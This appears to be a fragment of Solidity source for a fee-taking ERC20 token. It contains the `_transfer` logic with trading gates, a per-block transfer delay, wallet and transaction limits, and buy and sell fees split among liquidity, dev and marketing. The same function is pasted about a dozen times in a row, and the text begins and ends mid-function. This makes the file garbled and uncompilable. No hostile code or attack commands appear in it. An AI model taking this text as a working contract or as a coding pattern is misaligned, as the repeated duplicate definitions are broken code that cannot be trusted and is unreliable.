if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
